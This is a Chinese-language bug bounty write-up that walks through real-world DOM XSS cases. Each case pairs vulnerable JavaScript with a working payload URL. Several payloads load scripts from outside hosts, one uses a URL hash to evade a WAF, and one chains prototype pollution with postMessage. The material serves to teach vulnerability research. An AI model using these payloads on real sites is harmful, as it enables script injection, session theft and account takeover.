BugBounty中Dom Xss的案例分享
前言
在参与BugBounty时,排行榜中有一些人分数很高,除了他很勤奋外,还有很好的自动化来发现资产中的漏洞,像h1这种赏金平台竞争也很大,明显的漏洞几乎很少,要不资产独特,要不漏洞点很隐蔽,否则不容易发现,我在一开始接触这个平台,因为xss最好上手,所以我花了很多时间在这上面,但是反射型xss很容易重复,因为其他人也很容易发现,或者扫到,所以最开始那段时间,我把目光集中在Dom Xss上,并且制作了自动化来帮助我发现这种类型的漏洞,尽管国内并不重视Xss,但是国外对于Xss的奖励还算可观,所以对于学习这个漏洞类型来说很有助力,因为有钱赚 (\^-^),而且还有一些师傅不嫌弃的帮助,我非常感谢,所以我想分享一些自己在参与BugBounty遇到的Dom Xss,希望对于初学者有帮助。
(本文不包含任何关于如何扫描Dom Xss的内容。)
(很多案例已修复,所以只能从漏洞报告中找漏洞代码,或者通过Wayback Machine来寻找之前的源代码,经过一点点删改。)
(有些案例Dom很复杂也不典型,文章只分享一些经典案例,在挖洞时可能可以参考。)
(尽管国外对Xss的奖励可观,但Xss依然属于中危级别漏洞,比SSRF,RCE,Sql注入这些,赏金通常还是很低,所以想要在BugBounty中获得更多收入,还是需要关注研究一些高危害类型漏洞。未来可能会分享关于其他类型的。)
成果
为什么把成果放在最前面,因为我说了赚钱是助力,或者说动力,我是俗人,就是为了赚钱,🤣
我收到关于Dom Xss的赏金总计在30000$
左右,最小的100$
,最大的3000$
,大概70份报告,90%的结果来自自动化,时间大概是2年,因为前期在优化改bug,我没有24小时天天扫描,我是偶尔导入一些目标来扫描,因为人太懒了+三心二意+还有其他事情,断断续续的,隔一段时间搞一会。自动化是帮我找到可能的脆弱点,然后手动分析很快就可以得到结果。
案例
关于Dom xss,我很早之前还有一篇文章,那里也可以让你了解更多基础。
以下所有案例来自真实网站。
通常学习Dom Xss,找到的文章似乎是很明显的Dom xss。我也发现过,但是遇到的几率很小。
例如
var url = window.location.href;
var newUrl = 'DjamLanding.aspx';
var splitString = url.split('?url=');
if (splitString.length > 1) {
newUrl = splitString[1];
window.top.location.href = newUrl;
}
else {
// New Url With NO query string
alert('NO query string');
}
window.top.location.href = newUrl;
这种很简单,直接分割?url=
, 然后来跳转
Payload https://test.com/xss?url=javascript:alert(1)
最常见的Case 1
概括:从URL中获取指定参数值,然后写入页面。
这种类型重点是获取参数的方式
1
var getUrlParameter = function getUrlParameter(sParam) {
var sPageURL = window.location.search.substring(1),
sURLVariables = sPageURL.split('&'),
sParameterName,
i;
for (i = 0; i < sURLVariables.length; i++) {
sParameterName = sURLVariables[i].split('=');
if (sParameterName[0] === sParam) {
return sParameterName[1] === undefined ? true : decodeURIComponent(sParameterName[1]);
}
}
};
2
function getQueryParamByName(e) {
var t = window.location.href;
e = e.replace(/[\[\]]/g, "\\$&");
var a = new RegExp("[?&]" + e + "(=([^&#]*)|&|#|$)").exec(t);
return a ? a[2] ? decodeURIComponent(a[2].replace(/\+/g, " ")) : "" : null
}
3
new URLSearchParams(window.location.search).get('ParamName')
这3种方式的共同点是全部都会解码,前两个调用了decodeURIComponent
,第3个URLSearchParams
是对URL参数操作的原生方法也会解码
由于获取参数会解码,所以如果写入没有处理,大部分情况都会造成Xss
—– 1
var e = $(".alert.has-icon")
, t = getURLParameter("sca_success") || ""
, n = getURLParameter("sca_message") || "";
"true" == t && "true" == n ? (0 < e.length ? showNotification("Your plan has been updated successfully", "success", 5e3) : jQuery.bsAlert.alert({
text: "Your plan has been updated successfully",
alertType: "success"
}),
resetPageURL()) : n && (0 < e.length ? showNotification(n, "error", 5e3) : jQuery.bsAlert.alert({
text: n,
alertType: "error",
timeout: 15e3
}),
获取参数sca_message
给n
,然后通过某种框架显示出来,但是没有处理n
,所以导致Xss
Payload https://test.com/xss?sca_message=%3Cimg%20src%3dx%20onerror%3dalert(1)%3E
—– 2
<iframe id="poster-element" class="poster-element" style="width: 100vw; height: 100vh; border: 0"></iframe>
const posterElement = document.getElementById( 'poster-element' )
function getField( name ) {
let fname = document.getElementById( name )
if( !fname ) fname = document.getElementById( 'data-' + name )
let val
if( fname ) {
const isCheckbox = fname.matches( '[type="checkbox"]' )
if( isCheckbox ) val = fname.checked
else val = fname.value || fname.content
// check for a hard true (from the checkbox)
if( val === true || (val && val.length > 0) ) return val
else {
val = getURLParameter( name )
if( val && val.length > 0 ) {
if( isCheckbox ) fname.checked = !!val
else fname.value = val
}
}
}
return getURLParameter( name )
}
if( posterElement && !posterElement.src ) {
const posterSrc = getField( 'poster' ) || GLANCE.defaultPoster
if( posterSrc ) {
posterElement.src = posterSrc
posterElement.classList.remove( 'invisible' )
}
else {
posterElement.classList.add( 'invisible' )
}
}
获取参数poster
值设置为posterElement.src
,也就是iframe标签src的值
Payload https://test.com/xss?poster=javascript:alert(1)
—– 3
function highlightSearchResults() {
const e = $(".content_block .content_container .content_block_text:last");
layoutData.enableSearchHighlight && highlightSearchContent("highlight", e);
var t = getQueryParamByName("attachmentHighlight") || void 0;
t && $(".content_block_head").after("<div class='infoBox search-attachment-result-box'>Please check the " + layoutData.attachments.toLowerCase() + " for matching keyword '" + t + "' search result</div>")
}
after() 方法在被选元素后插入指定的内容。
获取参数attachmentHighlight
值给t
,通过jQuery after()
写入
Payload https://test.com/xss?attachmentHighlight=%3Csvg%20onload=alert(1)%3E
—– 4
这个报告中只有这张图片
流程是
dev=params.get("dev")
> sessionStorage.setItem("braze-dev-version",dev)
>
var version=sessionStorage.getItem("braze-dev-version")
> displayDevMessage(version)
>
displayDevMessage(c) {var a=document.createElement("div");a.innerHTML=c;document.body.appendChild(a);
Payload ?dev=%3Cimg%20src=x%20onerror=alert(1)%3E
由于它是储存在sessionStorage
,然后再读取,所以这可以算是个持久Xss,访问poc后,访问任何加载此js的页面依然会触发Xss
—– 5
let ghSource = getUrlParameter('gh_src');
for (var something in sorted) {
console.log(something);
// let options = 'All Categories' + something;
var sortedReplaced = replaceAll(something.replace(/\s/g, ''), '&', '');
menuHtml.innerHTML += `<li data-filter="${sortedReplaced}" onClick="(function() { ga('IPTracker.send', 'event','button','click','${sortedReplaced}');})();"><span>${something}</span></li>`;
// html += `<p class="hide">No data</p>`
html += ` `
let categ = array[something];
html += `<div class="panel ${replaceAll(something.replace(/\s/g, ''), '&', '')}" data-filter="${replaceAll(something.replace(/\s/g, ''), '&', '')}">`
let jobs = categ;
for (let j = 0; j < jobs.length; j++) {
let jobse = jobs[j];
let location = jobs[j].location.name;
let url;
if (ghSource !== undefined) {
// let url =
url = (jobs[j].absolute_url, 't=gh_src=', 'gh_src=' + ghSource);
} else {
url = jobs[j].absolute_url;
}
html += `
<p class="job" data-location="${replaceAll(location, '&', '')}"><a href="${url}" target="_blank"> ${jobse.title}</a><span>${location}</span></p>
`
}
html += `</div>`
dataEl.innerHTML = html
}
获取参数gh_src
通过replaceAll
传给url
,url
写入a标签,但是获取参数解码了,所以还是会造成Xss.
Payload https://test.com/xss?gh_src=xsstest%22%3E%3Cimg%20src%3dx%20onerror%3dalert(1)%3E
常见的Case 2
概括:直接把location.href写入页面
此场景还是很常见的
如果你把https://www.google.com/xsspath'"?xssparam'"=xssvalue'"#xsshash'"
放入浏览器URL栏
你会得到https://www.google.com/xsspath'%22?xssparam%27%22=xssvalue%27%22#xsshash'%22
从得到的结果来看,浏览器似乎只对location.search
也就是参数中的单引号自动编码
path
和hash
都不会编码,所以可以利用hash逃出任何通过单引号引用并写入location.href
或者location.hash
的地方
因为修改path
一般会导致页面404,极少数情况下才能使用,但是服务端代码在获取某个path
写入页面的时候可能会造成反射型Xss。
—– 1
网页分享处,任何分享,网页分析创建的log请求 各种需要当前页面url的地方
像这样
document.writeln("<a href='https://twitter.com/share?text=" + location.href + "'target='_blank' rel='noreferrer noopener'>Twitter</a>");
只需要通过hash
跳出单引号,就可以添加js事件,根据具体标签具体分析,这里是a标签所以很多都可以用,onclick为举例
Payload https://test.com/xss#'onclick='alert(1)
—– 2
一些表单提交处
createInput: function(a) {
var b = ""
, e = ""
, c = a.fieldPrefix || ga
, d = a.elementId || a.elementName
, f = a.elementClasses && B(a.elementClasses) ? a.elementClasses : []
, g = "object" === typeof a.elementAttributes ? a.elementAttributes : {}
, h = "button" === a.type || "submit" === a.type || "checkbox" === a.type || "radio" === a.type || "hidden" === a.type
, k = a.justElement || a.collection || "hidden" === a.type || "button" === a.type || "submit" === a.type
, l = "password" === a.type && !Bb && a.placeholder ? "text" : a.type
, n = ("checkbox" === a.type && !a.collection || "radio" === a.type && !a.collection) && !a.justElement
, m = a.rendererFieldName
, p = a.rendererChildFieldName
, t = Hc && !a.collection;
I(f, "capture_" + d) || f.push("capture_" + d);
h || (e += q.createLabel(a));
a.validation && a.validation.required && f.push("capture_required");
b += "<input ";
a.hide && (b += "style='display:none' ");
b = b + ("id='" + c + d + "' ") + (Oc(g) + " ");
"text" === a.type || "email" === a.type || "password" === a.type || "file" === a.type ? I(f, "capture_text_input") || f.push("capture_text_input") : "checkbox" === a.type || "radio" === a.type ? I(f, "capture_input_" + a.type) || f.push("capture_input_" + a.type) : "submit" === a.type && (I(f, "capture_btn") || f.push("capture_btn"),
I(f, "capture_primary") || f.push("capture_primary"));
b += "data-capturefield='" + a.name + "' ";
a.collection && (b += "data-capturecollection='true' ");
m && (b += "data-capturerendererfield='" + m + "' ");
p && (b += "data-capturerendererchildfieldname='" + p + "' ");
"checkbox" !== a.type && "radio" !== a.type || !a.elementValue ? a.value || "string" === typeof a.displaySavedValue ? (g = a.value,
h = "string" === typeof a.displaySavedValue ? a.displaySavedValue : a.value,
a.displaySavedValue && ed[h] && (g = wd(ed[h]),
"password" === a.type && (l = "password")),
"password" !== a.type && "text" !== a.type && "email" !== a.type || a.errors || !t || Ed.push(c + d),
b += "value='" + g + "' ") : a.placeholder && !Bb ? (b += "value='" + wd(a.placeholder) + "' ",
I(f, "capture_input_placeholder") || f.push("capture_input_placeholder")) : b += "value='' " : b += "value='" + wd(a.elementValue) + "' ";
b = b + ("type='" + l + "' ") + ("class='" + f.join(" ") + "' ");
a.subId && (b += 'data-subid="' + a.subId + '" ');
a.placeholder && (b += "placeholder='" + wd(a.placeholder) + "' ");
if (a.checked || a.elementValue && a.value === a.elementValue)
b += "checked='checked' ";
b += "name='" + a.elementName + "' ";
b += "/>";
e = "checkbox" === a.type || "radio" === a.type ? e + q.createLabel(a, b) : e + b;
a.modify && q.attachModifyEventHandler(a);
a.publicPrivateToggle && (e += q.createPublicPrivateToggle(a));
n && (e += "</div>");
k || (e += q.createTip(a));
a.profileStoragePath && "undefined" === typeof a.value && q.setElementAttributeWithLocalStorage(a, c + d, "value");
return e
},
d.appendChild(q.domHelpers.createInput({
elementType: "hidden",
fieldPrefix: c,
elementName: "redirect_uri",
elementId: "redirect_uri_" + b,
elementValue: janrain.settings.capture.redirectUri
}));
根据上文 janrain.settings.capture.redirectUri = location.href
所以janrain.settings.capture.redirectUri
我们可以控制
第一段代码虽然看起来眼花缭乱,但是大致一看就会知道这是在创建input标签,这一大堆代码根本不重要,重点在于
b += "value='" + wd(a.elementValue) + "' ";
b = b + ("type='" + l + "' ")
精简等同于
b += "value='"+location.href+"'type='hidden'"
显然这是给<input>
标签添加value和type,但是value是单引号引用,location.href
已经说过可以跳出单引号, 但是<input type='hidden'>
的Xss 很鸡肋,不过在type=
前面可以加任何属性,可以先给type
赋值,浏览器自然会忽略后面的type=hidden
赋值,这样就很容易就可以Xss
Payload https://test.com/xss#'autofocus=''onfocus='alert(1)'type='input
Case 3
概括:XMLHttpRequest
的目标url可控,可以控制响应注入可以造成Xss的内容
我之前有一个文章https://jinone.github.io/bugbounty-a-dom-xss/
就算一个案例
—– 1
$(document).ready(function() {
$('#resetform').on("submit",function(e) {
e.preventDefault();
if(getParameterByName("target")){
var password = $("#resetform").find("input[name='password']");
var referenceID = getParameterByName("referenceID");
var referenceType = getParameterByName("referenceType")
var token = getParameterByName("token");
var target = window.atob(getParameterByName("target"));
var url = "https://" + target + "/api/v1/reset/" + referenceID;
var request = new XMLHttpRequest();
request.open("PUT", url, true);
request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
request.onreadystatechange = function() {
if(request.readyState == request.DONE) {
var response = request.responseText;
var obj = JSON.parse(response);
if (request.status == 200) {
window.location.replace("thank-you.html");
}else{
document.getElementById("errormsg").innerHTML = obj['Description'];
document.getElementById("errormsg").style.display = "block";
document.getElementById("errormsg").scrollIntoView();
}
}
}
request.send("password="+password.val()+"&token="+token+"&referenceType="+referenceType);
}else{
document.getElementById("errormsg").innerHTML = "There was a problem with your password reset.";
document.getElementById("errormsg").style.display = "block";
document.getElementById("errormsg").scrollIntoView();
}
return false;
});
});
代码就是要从参数target(base64解密)获取 host 拼接到url里面 发送请求 判断响应是否为200 如果不是就会把响应包的Description json 值写在页面
可以把一个脚本放在服务器
<?php
header("HTTP/1.0 201 OK");
header("Access-Control-Allow-Origin: https://qwe.com");
header("Access-Control-Allow-Credentials: true");
header("Access-Control-Allow-Methods: OPTIONS,HEAD,DELETE,GET,PUT,POST");
echo '{"Description":"<img/src=x onerror=alert(1)>"}';
?>
由于这个var url = "https://" + target + "/api/v1/reset/" + referenceID;
,后面还有内容
可以使用test.com/xss.php?
把后面的忽略掉, 再经过base64编码
Payload https://test.com/reset?target=dGVzdC5jb20veHNzLnBocD8=
—– 2
_h_processUrlArgs: function() {
var
h_search = document.location.search,
h_args,
h_property,
h_i, h_cnt;
if (!h_search) {
return;
}
h_args = h_search.substr(1).split('&');
for (h_i = 0, h_cnt = h_args.length; h_i < h_cnt; h_i++) {
h_property = h_args[h_i].split('=');
switch (h_property[0]) {
case 'h_debug':
this._h_debugMode = true;
break;
case 'weblibFiles':
kio.lib._h_buildDescription.h_weblibFiles.h_path = this._h_getPath(h_property[1]);
this._h_getFile(h_property[1], 'kio.lib._h_buildDescription.h_weblibFiles.h_files');
this._h_normalizeBuildDescription(kio.lib._h_buildDescription.h_weblibFiles);
break;
case 'appFiles':
kio.lib._h_buildDescription.h_appFiles.h_path = document.location.origin + this._h_getPath(h_property[1]);
this._h_getFile(h_property[1], 'kio.lib._h_buildDescription.h_appFiles.h_files');
this._h_normalizeBuildDescription(kio.lib._h_buildDescription.h_appFiles);
break;
}
}
},
_h_getPath: function(h_url) {
var h_p = h_url.lastIndexOf('/');
if (-1 !== h_p) {
h_url = h_url.substr(0, h_p);
}
return h_url;
},
_h_getFile: function(h_url, h_variableName) {
var h_xhr;
if (window.XMLHttpRequest) {
h_xhr = new window.XMLHttpRequest();
} else if (window.ActiveXObject) {
h_xhr = new window.ActiveXObject('Microsoft.XMLHTTP');
}
if (!h_xhr) {
this.h_reportError('Internal error: Cannot load ' + h_url, 'kLib.js');
return;
}
h_xhr.open('GET', h_url, false);
h_xhr.send(null);
if (h_variableName) {
eval(h_variableName + '=' + h_xhr.responseText + ';');
} else {
eval(h_xhr.responseText);
}
},
从document.location.search
中通过switch匹配参数名,执行对应操作,传入参数值为h_url
,通过xhr获取响应,然后竟然直接eval,没有任何引号包裹,weblibFiles
和 appFiles
都可以,只需要准备一个js地址。
Payload https://test.com/xss?appFiles=//15.rs/
上述案例相当于是一些Dom xss的形式,再查找这种类型漏洞,可以多关注。
奇葩案例
—– 1
这个在一处oauth
qs: function(e, t, n) {
if (t)
for (var i in n = n || encodeURIComponent,
t) {
var o = new RegExp("([\\?\\&])" + i + "=[^\\&]*");
e.match(o) && (e = e.replace(o, "$1" + i + "=" + n(t[i])),
delete t[i])
}
return this.isEmpty(t) ? e : e + (-1 < e.indexOf("?") ? "&" : "?") + this.param(t, n)
},
param: function(e, t) {
var n, i, o = {};
if ("string" == typeof e) {
if (t = t || decodeURIComponent,
i = e.replace(/^[\#\?]/, "").match(/([^=\/\&]+)=([^\&]+)/g))
for (var a = 0; a < i.length; a++)
o[(n = i[a].match(/([^=]+)=(.*)/))[1]] = t(n[2]);
return o
}
t = t || encodeURIComponent;
var r, s = e, o = [];
for (r in s)
s.hasOwnProperty(r) && s.hasOwnProperty(r) && o.push([r, "?" === s[r] ? "?" : t(s[r])].join("="));
return o.join("&")
},
responseHandler: function(e, t) {
var a = this
, n = e.location
, i = a.param(n.search);
if (i && i.state && (i.code || i.oauth_token))
r = JSON.parse(i.state),
i.redirect_uri = r.redirect_uri || n.href.replace(/[\?\#].*$/, ""),
r = a.qs(r.oauth_proxy, i),
n.assign(r);
else if ((i = a.merge(a.param(n.search || ""), a.param(n.hash || ""))) && "state"in i) {
try {
var o = JSON.parse(i.state);
a.extend(i, o)
} catch (e) {
var r = decodeURIComponent(i.state);
try {
var s = JSON.parse(r);
a.extend(i, s)
} catch (e) {
console.error("Could not decode state parameter")
}
}
"access_token"in i && i.access_token && i.network ? (i.expires_in && 0 !== parseInt(i.expires_in, 10) || (i.expires_in = 0),
i.expires_in = parseInt(i.expires_in, 10),
i.expires = (new Date).getTime() / 1e3 + (i.expires_in || 31536e3),
l(i, 0, t)) : "error"in i && i.error && i.network ? (i.error = {
code: i.error,
message: i.error_message || i.error_description
},
l(i, 0, t)) : i.callback && i.callback in t && (o = !!("result"in i && i.result) && JSON.parse(i.result),
d(t, i.callback)(o),
u()),
i.page_uri && n.assign(i.page_uri)
} else
"oauth_redirect"in i && n.assign(decodeURIComponent(i.oauth_redirect));
这有多个可以 Xss的方法
responseHandler
中 只要满足第一个if的条件,通过location.assign()
方法加载一个新的页面r
Payload https://test.com/xss?state={"oauth_proxy":"javascript:alert(1);//"}&code=xss&oauth_token=xss
第二个if 太长没看
如果前两个if都不满足,else也可以导致Xss,这是最简单的
Payload https://test.com/xss?oauth_redirect=javascript:alert(1)
但是这个站的waf超级严格,根本绕不过
但是在第二个if中else if ((i = a.merge(a.param(n.search || ""), a.param(n.hash || ""))) && "state"in i)
可以看到把location.hash
也传给了i
,依然使用最后的else内容来触发Xss,由于hash根本不会发送给服务端,所以waf没用。
Payload https://test.com/xss#oauth_redirect=javascript:alert(1)
—– 2
<script type="text/javascript">
window.onload = ()=>{
var e = window.location.search.replace("?", "").split("&");
if (void 0 !== e && null != e && "" != e) {
var t = e[0].split("=");
if (void 0 !== t && t.length > 0) {
var l = t[1];
localStorage.setItem("deploymentJs", l),
n(l)
}
} else {
var o = localStorage.getItem("deploymentJs") ? localStorage.getItem("deploymentJs") : "https://c.la1-c1cs-ord.xxxxx.com/content/g/js/49.0/deployment.js";
void 0 !== o && null != o && "" != o && n(o)
}
function n(e) {
let t = document.createElement("script");
t.setAttribute("src", e),
void 0 !== e && null != e && "" != e && document.body.appendChild(t)
}
}
</script>
离谱,居然获取第一个参数值作为script标签的src值。
由于储存在localStorage 这算是个持久xss 只要用户不自己清除cookie或者访问有参数的页面
Payload https://test.com/xss?xss=data:,alert(1)//
或
Payload https://test.com/xss?xss=//nj.rs
—– 3
var query = getQueryParams();
$.each(query, function(key, value) {
window[key] = value;
});
function getQueryParams() {
var qs = document.location.search + '&' + document.location.hash.replace('#', '');
qs = qs.split("+").join(" ");
var params = {},
tokens,
re = /[?&]?([^=]+)=([^&]*)/g;
while (tokens = re.exec(qs)) {
params[decodeURIComponent(tokens[1])] = decodeURIComponent(tokens[2]);
}
return params;
}
这个似乎是想把所有参数和hash中的参数储存在window
对象中,可是这样可以修改一些原有的子对象,比如location
Payload https://test.com/xss#location=javascript:alert(1)
一般能用hash就用hash,因为这样不会被waf检测
—– 4
通常eval很容易造成Xss,谨慎使用
String.prototype.queryStringToJSON = String.prototype.queryStringToJSON || function() {
var params = String(this) // 上文中this = location.href
, params = params.substring(params.indexOf("?") + 1);
if (params = params.replace(/\+/g, "%20"),
"{" === params.substring(0, 1) && "}" === params.substring(params.length - 1))
return eval(decodeURIComponent(params));
params = params.split(/\&(amp\;)?/);
for (var json = {}, i = 0, n = params.length; i < n; ++i) {
var param = params[i] || null, key, value, key, value, keys, path, cmd, param;
null !== param && (param = param.split("="),
null !== param && (key = param[0] || null,
null !== key && void 0 !== param[1] && (value = param[1],
key = decodeURIComponent(key),
value = decodeURIComponent(value),
keys = key.split("."),
1 === keys.length ? json[key] = value : (path = "",
cmd = "",
$.each(keys, function(ii, key) {
path += '["' + key.replace(/"/g, '\\"') + '"]',
jsonCLOSUREGLOBAL = json,
cmd = "if ( typeof jsonCLOSUREGLOBAL" + path + ' === "undefined" ) jsonCLOSUREGLOBAL' + path + " = {}",
eval(cmd),
json = jsonCLOSUREGLOBAL,
delete jsonCLOSUREGLOBAL
}),
jsonCLOSUREGLOBAL = json,
valueCLOSUREGLOBAL = value,
cmd = "jsonCLOSUREGLOBAL" + path + " = valueCLOSUREGLOBAL",
eval(cmd),
json = jsonCLOSUREGLOBAL,
delete jsonCLOSUREGLOBAL,
delete valueCLOSUREGLOBAL))))
}
return json
}
第一处eval,只是通过if判断是否{}包裹
Payload 1 https://test.com/xss/?{alert(1)}
第二处eval,只要在传入eval的内容中,想办法让自己的js可以执行就行
在本地测试,,传入如下js就可以执行
if ( typeof jsonCLOSUREGLOBAL["x"]["\\"]);alert(1);//"] === "undefined" ) jsonCLOSUREGLOBAL["x"]["\\"]);alert(1);//"] = {}
所以
Payload 2 https://test.com/xss/?x.\%22]);alert(1);/%2f=1
第3处eval,略。
—– 5
PostMessage Xss,这似乎有很多关于这种类型的文章。
Client-Side Prototype Pollution参考https://github.com/BlackFan/client-side-prototype-pollution
。这俩个在BugBounty中也非常吃香。
分享一个俩者结合的Xss
起因是
我扫到一个p8.testa.com
的Client-Side Prototype Pollution,搞了很久之后,终于可以Xss
https://p8.testa.com/gb/view?ssc=us1&member=chinna.padma&constructor[prototype][jsAttributes][onafterscriptexecute]=alert(document.domain)
但是厂商却说这个域名超出范围,我并不想让努力白费
然后我寻找到明确范围内的一处PostMessage
var POLL_INTERVAL = 2e3,
MAX_POLLS = 3,
ALLOWED_ORIGINS_REGEX = /^https?\:\/\/([^\/\?]+\.)*((testa|testb|testc)\.(net|com|com\.au))(\:\d+)?([\/\?]|$)/;
function onElementHeightChange(t, n, i, o) {
if (t && n) {
var r = t.clientHeight,
a = 0,
m = 0;
o = o || MAX_POLLS,
"number" == typeof r && (r -= 1),
function e() {
a = t.clientHeight,
m++,
r !== a && (n(), r = a),
t.onElementHeightChangeTimer && clearTimeout(t.onElementHeightChangeTimer),
i ? t.onElementHeightChangeTimer = setTimeout(e, i) : m <= o && (t.onElementHeightChangeTimer = setTimeout(e, POLL_INTERVAL))
}()
}
}
window.addEventListener("message",
function(e) {
if (ALLOWED_ORIGINS_REGEX.test(e.origin)) {
if ("string" != typeof e.data) return;
var t = e.source,
n = e.origin,
i = {};
try {
i = JSON.parse(e.data)
} catch (e) {
return
}
var o, r = i.id || 0,
a = i.markup,
m = i.scriptSrc,
c = "",
d = function() {
c = r + ":" + document.body.clientHeight,
t.postMessage(c, n)
};
if (a && (document.body.innerHTML = a, !m)) return void d();
m && ((o = document.createElement("script")).src = m, o.onload = function() {
onElementHeightChange(document.body, d, i.pollInterval, i.maxPolls)
},
document.body.appendChild(o))
}
})
很明显此处,获取message中json字段scriptSrc
作为script的src值,尽管已经验证了origin
,但是由于有验证域的Xss,所以可以通过验证获得Xss
Payload
https://p8.testa.com/gb/view?ssc=us1&member=chinna.padma&constructor[prototype][jsAttributes][onafterscriptexecute]=document.body.innerHTML=%27%3Ciframe%20src=%22https://s.xx.com/yc/html/embed-iframe-min.2d7457d4.html%22%20onload=%22this.contentWindow.postMessage(window.atob(\%27eyJpZCI6IjEiLCJtYXJrdXAiOiJ4Iiwic2NyaXB0U3JjIjoiaHR0cHM6Ly9uai5ycyIsInBvbGxJbnRlcnZhbCI6IngiLCJtYXhQb2xscyI6IngifQ==\%27),\%27*\%27)%22%3E%3C/iframe%3E%27
结语
Dom Xss的形式还有很多,我把在BugBounty中遇到比较多见的形式分享出来,仅供参考。
由于很多都是在过去报告中摘出来的,所以可能有错误,欢迎指正,但主要是理解意思就好。
也欢迎交流,跟着大佬师傅们学习 😄